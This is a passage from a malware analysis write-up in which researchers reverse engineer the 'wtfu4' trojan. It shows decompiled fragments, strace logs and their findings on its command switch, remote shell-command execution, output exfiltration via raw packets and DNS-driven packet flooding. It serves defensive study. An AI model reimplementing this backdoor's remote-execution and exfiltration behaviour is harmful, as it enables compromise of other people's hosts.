Lights, Camera, Action!

 

I'm not normally a religious man, but if you're up there, save me Superman

 Homer J. Simpson

What does this button do?

We were now fresh from the success of the decoder and wanted to know how the wtfu4 binary worked and what exactly it was capable of doing, we weren't happy to know it was a trojan sat on port 11. wtfu4 was accepting commands, deduced from the following reverse engineered code.

            eax = ( *(ebp + -4095) & 255) - 1;
            if(eax <= 11) {
                goto *(eax * 4 + 0x804832c)[L0804835c, L080483f0, L08048590, L0804871c, L080487c8, L08048894, L08048acc, L08048b58, L08048b80, L08048c34, L08048d08, L08048de4, ]goto ( *(eax * 4 + 0x804832c));
 

So what did we deduce from this. Well, it's a switch statement. This didn't come naturally, only after we had written a decoder and managed to get an encoder working did we work out what this was for. All it is doing is subtracting 1 from the 2nd character of the decoded buffer and doing a switch statement. We can reconstruct this as follows:

int cmd = (int)decBuf[1] - 1;
if (cmd <= 11)
{
  switch(cmd)
    {
    case 0:
      // do something minor?
      break;

    case 1:
      // do something a bit worse?    
      break;
    case 2:
    
      break;

...

    case 10:
      // do something mega nasty?    
      break;

    default:
      fprintf(stderr, "Unknown command requested\n");
      exit(1);
      break;
    };
}

We needed to know what each of these did, so we amended our simple client to send these commands to order. We just passed it 1-11 and it encoded a buffer and sent it to wtfu4 for execution. We started with command 1, but we won't describe that first, we will start by describing what we had found from the source code at this point. When we examined the switch statement and where the program execution was jumping to we could see some strings in there that we had identified right at the beginning. Samples from the reverse engineered source can be seen below with some of those important strings in:

L080485dc:
    *(ebx + ebp + -4096) = *(ebx + ebp + -4094);
    ebx = ebx + 1;
    if(ebx <= 397) {
        goto L080485dc;
    }
    ebx = ebp + -2048;
    L0804F808();
    L080557E8();
    eax = L0804F620("/tmp/.hj237349", "rb", ebx, ebx, "/bin/csh -f -c \"%s\" 1> %s 2>&1", *(ebp + -17632), "/tmp/.hj237349");
    *(ebp + -17628) = eax;
    if(*(ebp + -17628) != 0) {
        edi = 0;
        *(ebp + -17640) = ebp + -4496;

...

       if(esi != 0) {
            goto L08048644;
        }
        L0804F540();
        L080573BC("/tmp/.hj237349", *(ebp + -17628));
    }


...

       ebx = ebx + 1;
        if(ebx <= 18) {
            goto L080489d4;
        }
        edi = "TfOjG";
        ecx = 6;
        asm("cld");
        asm("repe cmpsb");
        if(!(esi = ebp + -17340)) {
 
...

        L0804A2A8("PATH", "/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin/:.", 1, *(ebp + -17612), 2, *(ebp + -17612), 1, *(ebp + -17612), 0);
        (save)"HISTFILE";
        L0804A48C();
        (save)1;
        (save)"linux";
        (save)"TERM";
        L0804A2A8();
        (save)0;
        (save)"sh";
        (save)"/bin/sh";
 
...

   }
    (save) *(ebp + -17632);
    (save)"/bin/csh -f -c \"%s\" ";
    ebx = ebp + -2048;
  
...


We couldn't resist. We started firing commands at it. While we were firing these commands we had ethereal and strace running. We also took netstat dumps when we felt something significant had happened. The results were interesting to say the least. All traces from these sessions are included in the miscellaneous files - a word of caution when interpreting them though, some of the network activity is due to deliberate misconfiguration of the networking on this PC. It wasn't attached to a network anyway, but just in case it had itself as a gateway and a DNS server. We will summarise the key features here.

Send it a 1... Send it! Send it!

 

Stop quoting laws at us, for we carry swords.

 Pompey to the city of Messina

"OK, g0dzg1ft calm yourself, sunzi too. I'm absorbing the moment - _0bfu5cati0n."

Using the client whose source is in src/main.c we sent it the command 1 with a string after it indicating that we were sending a very long buffer :) We needed a buffer that was greater than 200 bytes. We were also mistaken at this point that they had to be 200 meaningful bytes. We would learn. Another clever way of concealing the hidden capabilities of this beast by the author? Who knows, but we made up a long buffer anyway. We set up the strace on the binary and ethereal to start sniffing. We could also have used Snort here, but we had more experience with ethereal in our test environment. We issued command 1 and ... nothing. Not a thing. Maybe we were wrong here. O well, let's try command 2. Interesting, that appears to do nothing either. We had a look for anything relevant in the strace output.

We could see here that something was happening, but the buffer wasn't causing any massive activity. We tried a few more times as shown below in the recv, oldselect cycle.

1946  <... recv resumed> "E\0\0\3463|@\0@\v\10\217\177\0\0\1\177\0\0\1\0029p\211"..., 2048, 0) = 230
1946  time(NULL)                        = 1022159467
1946  oldselect(1, NULL, NULL, NULL, {0, 10000}) = 0 (Timeout)
1946  recv(0, "E\0\0\3466\314@\0@\v\5?\177\0\0\1\177\0\0\1\0029p\211\317"..., 2048, 0) = 230
1946  time(NULL)                        = 1022159475
1946  oldselect(1, NULL, NULL, NULL, {0, 10000}) = 0 (Timeout)
1946  recv(0, "E\0\0\3467\373@\0@\v\4\20\177\0\0\1\177\0\0\1\0029p\211"..., 2048, 0) = 230
1946  time(NULL)                        = 1022159479
1946  oldselect(1, NULL, NULL, NULL, {0, 10000}) = 0 (Timeout)
1946  recv(0, "E\0\0\346;\r@\0@\v\0\376\177\0\0\1\177\0\0\1\2\206\26-"..., 2048, 0) = 230
1946  oldselect(1, NULL, NULL, NULL, {0, 10000}) = 0 (Timeout)
1946  recv(0, "E\0\0\346<\347@\0@\v\377#\177\0\0\1\177\0\0\1\0029p\211"..., 2048, 0) = 230
1946  time(NULL)                        = 1022159491
1946  oldselect(1, NULL, NULL, NULL, {0, 10000}) = 0 (Timeout)

Nothing. Then we had a stroke of luck. We - for some unknown reason other than it was something to try - issued command 1 again. Something happened, network traffic and some output in the strace log. Interesting, wtfu4 seems to be wanting to talk to someone. We decoded the buffer it sent and, nothing. It didn't mean a thing, no data, no passwords, no nothing. Just a load of senseless data. The activity can be clearly seen in the strace snippet below. We have no idea whether there is anything significant about the IP addresses being used here or whether they are just random. The good thing was that we had woken the sleeping beast. Now, onto probe it some more we went.

1946  recv(0, "E\0\0\346CD@\0@\v\370\306\177\0\0\1\177\0\0\1\0029\201"..., 2048, 0) = 230
1946  oldselect(1, NULL, NULL, NULL, {0, 4000}) = 0 (Timeout)
1946  socket(PF_INET, SOCK_RAW, IPPROTO_RAW) = 1
1946  brk(0)                            = 0x807eb98
1946  brk(0x807ee18)                    = 0x807ee18
1946  brk(0x807f000)                    = 0x807f000
1946  sendto(1, "E\0\2k\357<\0\0\372\v\325!\177\0\0\1\3264\244\363\3\0\27"..., 619, 0, {sin_family=AF_INET, sin_port=htons(2560), sin_addr=inet_addr("214.52.164.243")}}, 16) = 619
1946  close(1)                          = 0
1946  oldselect(1, NULL, NULL, NULL, {0, 4000}) = 0 (Timeout)
1946  socket(PF_INET, SOCK_RAW, IPPROTO_RAW) = 1
1946  sendto(1, "E\0\2k\341\230\0\0\372\v\242b\177\0\0\1\3504\323V\3\0\27"..., 619, 0, {sin_family=AF_INET, sin_port=htons(2560), sin_addr=inet_addr("232.52.211.86")}}, 16) = 619
1946  close(1)                          = 0

We issued command 3 and again we had some strace activity. This time lots of activity, see wtfu4/strace/cmd3/strace.out for a full trace. Some of the important bits are shown below, we had gone back to the original binary for reasons we will discuss later.

1968  fork()                            = 1969
1969  sigaction(SIGINT, {SIG_DFL}, NULL, 0x40017000) = 0
1969  sigaction(SIGQUIT, {SIG_DFL}, NULL, 0x40017000) = 0
1969  sigprocmask(SIG_SETMASK, [], NULL) = 0
1969  execve("/bin/sh", ["sh", "-c", "/bin/csh -f -c \"no what this doe"...], [/* 46 vars */]) = 0
1969  uname({sys="Linux", node="WhiteHat", ...}) = 0
1969  brk(0)                            = 0x80dacd0

...

1971  execve("/sbin/no", ["no", "what", "this", "does", "yet"], [/* 48 vars */]) = -1 ENOENT (No such file or directory)
1971  execve("/usr/sbin/no", ["no", "what", "this", "does", "yet"], [/* 48 vars */]) = -1 ENOENT (No such file or directory)
1971  execve("/bin/no", ["no", "what", "this", "does", "yet"], [/* 48 vars */]) = -1 ENOENT (No such file or directory)
1971  execve("/usr/bin/no", ["no", "what", "this", "does", "yet"], [/* 48 vars */]) = -1 ENOENT (No such file or directory)
1971  execve("/usr/X11R6/bin/no", ["no", "what", "this", "does", "yet"], [/* 48 vars */]) = -1 ENOENT (No such file or directory)
1971  execve("/usr/local/sbin/no", ["no", "what", "this", "does", "yet"], [/* 48 vars */]) = -1 ENOENT (No such file or directory)
1971  execve("/usr/local/bin/no", ["no", "what", "this", "does", "yet"], [/* 48 vars */]) = -1 ENOENT (No such file or directory)
1971  write(2, "no: Command not found.\n", 23) = 23

...

1968  open("/tmp/.hj237349", O_RDONLY)  = 1
1968  fstat(1, {st_mode=S_IFREG|0644, st_size=23, ...}) = 0
1968  old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40000000
1968  read(1, "no: Command not found.\n", 4096) = 23
1968  read(1, "", 4096)                 = 0
1968  socket(PF_INET, SOCK_RAW, IPPROTO_RAW) = 2
1968  sendto(2, "E\0\1\367\262d\0\0\372\v\f\230\0\0\0\0\0\0\0\0\3\0\205"..., 503, 0, {sin_family=AF_INET, sin_port=htons(2560), sin_addr=inet_addr("0.0.0.0")}}, 16) = 503
1968  close(2)                          = 0

...

1968  close(1)                          = 0
1968  munmap(0x40000000, 4096)          = 0
1968  unlink("/tmp/.hj237349")          = 0

We had found something now, we were sending the buffer "don't know what this does yet" and getting the output above. The system was unable to find the command "no" and the rest of the string was being passed as arguments to the command. We had found what we had been looking for now. Firstly, we knew the encoding we were using was close enough to the hacker's encoding to be accepted by wtfu4. Secondly, we knew there was an offset from the command to the actual data, but we didn't know where this was stored. So we just moved a command string into the position of the buffer starting at "no". We created a simple shell script to dump the arguments and environment passed to it into a file. The shell script and the output are included in misc/runcmd and misc/runcmd.out. We can clearly see that the command is being run and the executing program has a full environment. We could see that the buffer was being interpreted as we had predicted, with the string "these are the args OK!". So, command 3 sends a string to execute. The output of the command is stored in a temporary file /tmp/.hj237349 which i then read into memory and sent to address 0.0.0.0. We still don't know what command sets up the IP address, but we have deciphered at least one of the commands, and worked out what some of the strings output was for, the two strings /tmp/.hj237349 and the /bin/csh -f -c "%s" 1> %s 2>&1.


1986  rt_sigprocmask(SIG_SETMASK, [], [], 8) = 0
1986  execve("/root/TheHoneyNet/client/runcmd", ["/root/TheHoneyNet/client/runcmd", "these", "are", "the", "args", "OK!"], [/* 48 vars */]) = 0
1986  uname({sys="Linux", node="WhiteHat", ...}) = 0
1986  brk(0)                            = 0x80dacd0

...

1986  rt_sigaction(SIGCHLD, {0x8075490, [], 0x4000000}, {SIG_DFL}, 8) = 0
1986  rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0
1986  open("/root/TheHoneyNet/client/runcmd", O_RDONLY|O_LARGEFILE) = 3
1986  ioctl(3, 0x5401, 0xbffff5f0)      = -1 ENOTTY (Inappropriate ioctl for device)
1986  _llseek(3, 0, [0], SEEK_CUR)      = 0
1986  read(3, "#!/bin/sh\n\necho $* > ./runcmd.ar"..., 80) = 57
1986  _llseek(3, 0, [0], SEEK_SET)      = 0
1986  getrlimit(0x7, 0xbffff668)        = 0
1986  dup2(3, 255)                      = 255
1986  close(3)                          = 0

...

1987  open("./runcmd.args", O_WRONLY|O_APPEND|O_CREAT|O_LARGEFILE, 0666) = 3
1987  dup2(3, 1)                        = 1
1987  close(3)                          = 0
1987  execve("/usr/bin/env", ["env"], [/* 48 vars */]) = 0

...

1983  open("/tmp/.hj237349", O_RDONLY)  = 1
1983  fstat(1, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
1983  old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40000000
1983  read(1, "", 4096)                 = 0
1983  socket(PF_INET, SOCK_RAW, IPPROTO_RAW) = 2
1983  sendto(2, "E\0\1\367\262d\0\0\372\v\f\230\0\0\0\0\0\0\0\0\3\0F`w\360"..., 503, 0, {sin_family=AF_INET, sin_port=htons(2560), sin_addr=inet_addr("0.0.0.0")}}, 16) = 503
1983  close(2)                          = 0
1983  oldselect(1, NULL, NULL, NULL, {0, 400000} <unfinished ...>
1964  <... recv resumed> "E\0\1\367\262d\0\0\372\v\215\226\177\0\0\1\0\0\0\0\3\0"..., 2048, 0) = 503
1964  oldselect(1, NULL, NULL, NULL, {0, 10000}) = 0 (Timeout)
1964  recv(0,  <unfinished ...>
1983  <... oldselect resumed> )         = 0 (Timeout)
1983  close(1)                          = 0
1983  munmap(0x40000000, 4096)          = 0
1983  unlink("/tmp/.hj237349")          = 0
1983  _exit(0)                          = ?

Again wtfu4 was trying to send some data across the network. We concluded that what wtfu4 was trying to do was run a command, pipe its output into the file /tmp/.hj237349 and then send the contents of that file back to the attacker. It is probably some kind of interrogation command to determine either the status of the compromised host or the status of the trojan. But we still hadn't seen anything to make wtfu4 dangerous to anyone, just a remote sysadmin tool.

We moved on to command 4 to try and determine if there was anything dangerous about wtfu4. We used command 4 to send the same string "don't know what this does yet" and watched the results. Interesting, wtfu4 was talking out again, this time it was doing a DNS lookup for the hostname "this does yet". We had found another working command. We amended the client string to contain a selection of valid hostnames "www.cyberarmy.com www.anotheraddress.com www.mikesbox.com" and ran it again. We were expecting 3 DNS lookups, but instead got one for "www.cyberarmy.com www.anotheraddress.com www.mikesbox.com". We took out the 2nd and 3rd hostnames and wtfu4 started querying for a single hostname "www.cyberarmy.com". It seemed wtfu4 was trying to resolve the IP for its victim. We have no DNS server in this setup, so we give it the next best thing and add an entry to the /etc/resolv.conf to point to 10.0.0.1 as the DNS server. This time we saw a series of ARP and ICMP requests to try and determine who owned the 10.0.0.1 address and send the query there - this was all system stuff and not wtfu4 directly. We determined it was trying to find a route to the DNS server we had just supplied. We added an entry to the /etc/hosts file to resolve "www.cyberarmy.com" to 10.0.0.250. This time, the wtfu4 binary starting sending lots of packets out of the door. LOTS of packets.

We could go on forever now describing the various ways we changed this and that to make sense of the 12 command strings we had determined, but we feel you have probably had enough, so we won't. The technique used above was continued until we had the makeup of the full twelve commands. The traces for the majority of this analysis can be found under the wtfu4/ directory, from which you can see the different kinds of attack we had witnessed. We will summarise the purpose of the twelve commands in the following section. The ethereal and the strace outputs are simply truncated versions of the real thing. We collected somewhere near 290Mb of data during this analysis so we had to trim some of it down :)